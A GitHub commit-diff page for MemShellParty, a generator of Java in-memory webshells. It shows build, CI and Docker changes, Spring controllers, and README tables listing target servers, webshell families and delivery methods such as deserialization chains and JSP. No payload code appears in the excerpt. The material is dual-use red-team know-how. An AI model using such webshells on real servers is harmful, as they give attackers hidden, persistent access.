Compare commits

...
45 Commits
Author SHA1 Message Date
ReaJason 2f59fc80fb docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason 901a2b3af0 test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 8deff1c8d9 feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason ad05c8f2da feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e228065aa0 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason af0135286d test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 722da5560e docs: update README 2025-03-30 15:33:31 +08:00
ReaJason b6e34e4beb refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason 3ced92f2d0 feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 476d92f173 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason 3c7fd8aca5 test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason c93ab0e7e0 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 89cd4fef62 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason e6d9ddb210 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason a042900052 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 23d3628786 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 4a9217aa3a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason dd4832a5a8 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason db579ce39e chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason 4c70dc9148 docs: update 2025-03-30 15:33:31 +08:00
ReaJason d97ddbd1cc perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason b8e91a3697 style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason 5d97780e34 fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason a7751a0467 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 5abaa5bbc1 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason b3780135bb chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason c1fefd3510 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason ff70a5f2fe ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason d7faa6a59f build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 675272a04c docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason a284cbbd02 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 9073a97eec feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason de2864b892 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason 49819156ab fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason 452e057bd1 fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason dfd6328494 style: format code 2025-02-28 22:44:10 +08:00
ReaJason b78f5dad1c chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason fefe25cbce refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 30a141c8d4 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason c95a6da29f refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason 688de30965 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason b7c6303966 feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason e6d1aeac3c docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason 4f58e13c00 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason a47033d051 test: default shrink enabled 2025-02-26 20:47:05 +08:00
216 changed files with 10022 additions and 1495 deletions
@@ -21,4 +21,15 @@ if __name__ == '__main__':
if not result_lines: if not result_lines:
print("Specified version not found.", file=sys.stderr) print("Specified version not found.", file=sys.stderr)
sys.exit(1) sys.exit(1)
result_lines.append("## 更新方式\n")
result_lines.append("### Docker 部署\n")
result_lines.append("```bash\n")
result_lines.append("docker rm -f memshell-party\n\n")
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
result_lines.append("```\n")
result_lines.append("### Jar 包启动\n")
result_lines.append("> 仅支持 JDK17 及以上版本\n")
result_lines.append("```bash\n")
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
result_lines.append("```\n")
print("".join(result_lines).strip()) print("".join(result_lines).strip())
+94
View File
@@ -0,0 +1,94 @@
name: "Dev Deploy"
on:
push:
branches:
- dev
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
bun-version: latest
- name: Build Web with Bun
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew -Pversion=dev :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/boot-dev.jar
docker-push:
name: Docker Push
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Download Boot Jar
uses: actions/download-artifact@v4
with:
name: boot
path: boot/build/libs
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push
uses: docker/build-push-action@v6
with:
context: boot
platforms: linux/amd64,linux/arm64
push: true
tags: docker.io/reajason/memshell-party:dev
deploy-northflank:
name: Deploy to Northflank
needs: [ docker-push ]
runs-on: ubuntu-latest
env:
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
steps:
- name: Update Deployment
run: |
curl --header "Content-Type: application/json" \
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
--request POST \
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
-8
View File
@@ -15,9 +15,6 @@ jobs:
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.13'
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -51,11 +48,6 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: '23'
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
+4
View File
@@ -29,6 +29,10 @@ replay_pid*
**/build/ **/build/
!src/**/build/ !src/**/build/
**/bin/
!**/src/main/**/bin/
!**/src/test/**/bin/
# Ignore Gradle GUI config # Ignore Gradle GUI config
gradle-app.setting gradle-app.setting
+49
View File
@@ -5,6 +5,55 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
> 做代码生成以及代码混淆真是一件需要耐心的事情
### Added
- 支持自定义内存马生成(#49by @ReaJason
- 支持命令回显 ASM Agent 内存马(#51by @ReaJason
- 支持简易的代码混淆(#13by @ReaJason
- 支持自动发布 DEV 分支代码 CD
### Changed
- 简化 Jetty 获取 Context 代码
- 优化 Dockerfile 减小镜像体积
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
### Added
- 支持 NeoreGeorg 内存马生成 by @ReaJason
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
### Changed
- 简化 Valve 内存马代码
- 升级 Gradle 8.13
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
### Added
- 支持缩小字节码 (移除调试信息) by @ReaJason
- 支持 Tomcat Jakarta WebSocket
### Fixed
- 修复自定义注入器类名不起作用
### Changed
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25 ## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
### Fixed ### Fixed
+5 -8
View File
@@ -35,11 +35,9 @@ WORKDIR /usr/src
COPY --from=source /usr/src /usr/src COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
RUN set -ex && \ RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
cd web && bash copy-build.sh && \
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.14_7-jre-noble
@@ -47,11 +45,10 @@ LABEL authors="ReaJason<[email protected]>"
WORKDIR /app WORKDIR /app
COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
RUN groupadd -r spring && \ RUN groupadd -r spring && \
useradd -r -g spring spring && \ useradd -r -g spring spring
chown spring:spring /app/app.jar
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar
USER spring:spring USER spring:spring
+85 -97
View File
@@ -17,23 +17,9 @@
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。 MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。 在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
MemShellParty 出现的原因有以下几个:
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
应用无感),必须得整一个玩玩。
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
希望你能从这个项目学会或尝试做的: 希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马编写方式 1. 学会编写常见中间件框架的内存马。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。 2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。 3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。 4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
@@ -46,9 +32,9 @@ MemShellParty 出现的原因有以下几个:
## 主要特性 ## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。 - 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) - 高可用性自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化: 尽可能精简内存马大小,高效传输。 - 最小化尽可能精简内存马大小,高效传输。
- 强兼容性: 覆盖攻防场景下常见中间件和框架。 - 强兼容性覆盖攻防场景下常见中间件和框架。
## 快速使用 ## 快速使用
@@ -56,7 +42,7 @@ MemShellParty 出现的原因有以下几个:
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US 可直接访问 https://party.memshell.news(搭建在 [Northflank](https://northflank.com/) US
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。 节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -86,7 +72,84 @@ docker rm -f memshell-party
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
``` ```
### 本地构建 ## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [x] Neo-reGeorg
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用 > 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
@@ -146,7 +209,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```bash ```bash
# 基础构建 # 基础构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.3.1 \ --build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load -t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080 # 基础镜像启动,访问 127.0.0.1:8080
@@ -154,7 +217,7 @@ docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建 # 自定义访问路径构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.3.1 \ --build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \ --build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \ --build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load -t memshell-party:latest . --load
@@ -186,81 +249,6 @@ location /memshell-party {
} }
``` ```
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [ ] Neo-reGeorg
- [ ] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## How ## How
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**) 1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 140 KiB

+9
View File
@@ -0,0 +1,9 @@
FROM python:3.12-slim
WORKDIR /app
RUN pip install requests
COPY neoreg.py .
CMD ["tail", "-f", "/dev/null"]
File diff suppressed because it is too large Load Diff
Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 262 KiB

+4 -2
View File
@@ -5,6 +5,8 @@ plugins {
dependencies { dependencies {
constraints { constraints {
api 'net.bytebuddy:byte-buddy:1.+' api 'net.bytebuddy:byte-buddy:1.+'
api 'org.ow2.asm:asm-commons:9.7.1'
api 'com.github.jar-analyzer:class-obf:1.5.0'
api 'javax.servlet:javax.servlet-api:3.0.1' api 'javax.servlet:javax.servlet-api:3.0.1'
api 'jakarta.servlet:jakarta.servlet-api:6.0.0' api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
@@ -19,7 +21,6 @@ dependencies {
api 'commons-codec:commons-codec:1.+' api 'commons-codec:commons-codec:1.+'
api 'ch.qos.logback:logback-classic:1.+' api 'ch.qos.logback:logback-classic:1.+'
api 'xalan:xalan:2.7.0'
api 'org.apache.bcel:bcel:5.2' api 'org.apache.bcel:bcel:5.2'
api 'org.java-websocket:Java-WebSocket:1.5.7' api 'org.java-websocket:Java-WebSocket:1.5.7'
@@ -28,7 +29,8 @@ dependencies {
api 'org.jetbrains:annotations:26.0.1' api 'org.jetbrains:annotations:26.0.1'
api "org.mockito:mockito-core:5.15.2" api 'org.mockito:mockito-core:5.15.2'
api 'org.mockito:mockito-junit-jupiter:5.15.2'
api 'org.hamcrest:hamcrest:3.0' api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.11.4' api 'org.junit:junit-bom:5.11.4'
api 'org.testcontainers:testcontainers:1.20.5' api 'org.testcontainers:testcontainers:1.20.5'
+3 -4
View File
@@ -4,11 +4,10 @@ LABEL authors="ReaJason<[email protected]>"
WORKDIR /app WORKDIR /app
COPY build/libs/*.jar app.jar
RUN groupadd -r spring && \ RUN groupadd -r spring && \
useradd -r -g spring spring && \ useradd -r -g spring spring
chown spring:spring /app/app.jar
COPY --chown=spring:spring build/libs/*.jar app.jar
USER spring:spring USER spring:spring
@@ -0,0 +1,21 @@
package com.reajason.javaweb.boot.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.client.SimpleClientHttpRequestFactory;
import org.springframework.web.client.RestTemplate;
/**
* @author ReaJason
*/
@Configuration
public class WebConfig {
@Bean
public RestTemplate restTemplate() {
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setConnectTimeout(3000);
factory.setReadTimeout(3000);
return new RestTemplate(factory);
}
}
@@ -1,17 +1,16 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config; import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.server.AbstractShell;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import java.util.*; import java.util.*;
import java.util.stream.Collectors;
/** /**
* @author ReaJason * @author ReaJason
@@ -29,9 +28,8 @@ public class ConfigController {
if (shell == null) { if (shell == null) {
continue; continue;
} }
ShellTool[] supportedShellTools = ShellTool.values();
Map<String, Set<String>> map = new LinkedHashMap<>(16); Map<String, Set<String>> map = new LinkedHashMap<>(16);
for (ShellTool shellTool : supportedShellTools) { for (ShellTool shellTool : shell.getSupportedShellTools()) {
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool); Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
if (supportedShellTypes.isEmpty()) { if (supportedShellTypes.isEmpty()) {
continue; continue;
@@ -41,12 +39,14 @@ public class ConfigController {
coreMap.put(value.name(), map); coreMap.put(value.name(), map);
} }
Config config = new Config(); Config config = new Config();
config.setServers( Map<String, List<String>> servers = new LinkedHashMap<>();
Arrays.stream(Server.values()) for (Server server : Server.values()) {
.filter(s -> s.getShell() != null) if (server.getShell() != null) {
.map(Server::name) Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
.collect(Collectors.toList()) servers.put(server.name(), supportedShellTypes.stream().toList());
); }
}
config.setServers(servers);
config.setCore(coreMap); config.setCore(coreMap);
config.setPackers( config.setPackers(
Arrays.stream(Packers.values()) Arrays.stream(Packers.values())
@@ -1,10 +1,20 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.VersionInfo;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpMethod;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import org.thymeleaf.util.StringUtils;
import java.util.List;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
@@ -16,10 +26,66 @@ import org.springframework.web.bind.annotation.RestController;
public class VersionController { public class VersionController {
@Value("${spring.application.version}") @Value("${spring.application.version}")
String version; private String version;
private final RestTemplate restTemplate;
public VersionController(RestTemplate restTemplate) {
this.restTemplate = restTemplate;
}
@GetMapping @GetMapping
public String version() { public VersionInfo version() {
if ("dev".equals(version)) {
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(version).build();
}
String latestVersion = getLatestGithubRelease();
return VersionInfo.builder()
.currentVersion(version)
.latestVersion(latestVersion)
.hasUpdate(!StringUtils.equals(version, latestVersion))
.build();
}
private String getLatestGithubRelease() {
try {
String latestVersion = tryFetchRelease("https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
if (latestVersion != null) {
return latestVersion;
}
} catch (Exception ignored) {
}
return version; return version;
} }
private String tryFetchRelease(String baseUrl) {
String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
apiUrl,
HttpMethod.GET,
null,
new ParameterizedTypeReference<>() {
}
);
if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
List<Map<String, Object>> body = response.getBody();
for (Map<String, Object> map : body) {
String targetCommitish = (String) map.get("target_commitish");
Boolean prerelease = (Boolean) map.get("prerelease");
Boolean draft = (Boolean) map.get("draft");
if ("master".equals(targetCommitish) && !prerelease && !draft) {
String tagName = (String) map.get("name");
return tagName.startsWith("v") ? tagName.substring(1) : tagName;
}
}
}
return null;
}
} }
@@ -1,7 +1,7 @@
package com.reajason.javaweb.boot.dto; package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.config.*;
import lombok.Data; import lombok.Data;
/** /**
@@ -25,6 +25,7 @@ public class GenerateRequest {
private String antSwordPass; private String antSwordPass;
private String headerName; private String headerName;
private String headerValue; private String headerValue;
private String shellClassBase64;
} }
public ShellToolConfig parseShellToolConfig() { public ShellToolConfig parseShellToolConfig() {
@@ -51,12 +52,21 @@ public class GenerateRequest {
.headerName(shellToolConfig.getHeaderName()) .headerName(shellToolConfig.getHeaderName())
